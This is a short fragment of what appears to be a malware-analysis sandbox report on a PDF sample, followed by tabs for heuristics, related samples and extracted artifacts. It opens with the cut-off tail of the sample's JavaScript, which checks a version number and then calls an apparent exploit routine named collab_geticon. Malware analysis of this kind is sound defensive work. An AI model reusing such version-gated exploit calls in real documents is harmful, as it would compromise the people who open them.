varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2